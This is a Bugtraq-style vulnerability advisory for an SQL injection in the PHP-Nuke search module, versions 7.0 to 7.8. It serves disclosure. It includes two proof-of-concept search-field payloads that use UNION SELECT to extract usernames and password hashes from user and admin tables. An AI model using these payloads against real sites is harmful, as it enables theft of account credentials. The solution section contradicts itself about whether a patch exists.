PHPNuke Search Module SQL Injection Vulnerability

BID:15421

Info

PHPNuke Search Module SQL Injection Vulnerability

Bugtraq ID: 15421
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 15 2005 12:00AM
Updated: May 16 2006 10:24PM
Credit: [email protected] is credited with the discovery of this vulnerability.
Vulnerable: Francisco Burzi PHP-Nuke 7.8
Francisco Burzi PHP-Nuke 7.7
Francisco Burzi PHP-Nuke 7.6
Francisco Burzi PHP-Nuke 7.3
Francisco Burzi PHP-Nuke 7.3
Francisco Burzi PHP-Nuke 7.2
Francisco Burzi PHP-Nuke 7.1
Francisco Burzi PHP-Nuke 7.0 FINAL
Not Vulnerable:

Discussion

PHPNuke Search Module SQL Injection Vulnerability


PHPNuke is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Exploit / POC

PHPNuke Search Module SQL Injection Vulnerability

No exploit is required.

The following proof-of-concept search-field data is available:
s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/* -> users passwords and logins

s%') UNION SELECT 0,pwd,name,aid,0,0,0,0,0,0 FROM nuke_authors/* -> nuke_authors passwords and logins

Proof-of-concept examples are available:

Solution / Fix

PHPNuke Search Module SQL Injection Vulnerability

Solution:
Unconfirmed reports indicate that a vendor patch is available to address this issue. Users are advised to contact the vendor for further information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]

References

PHPNuke Search Module SQL Injection Vulnerability

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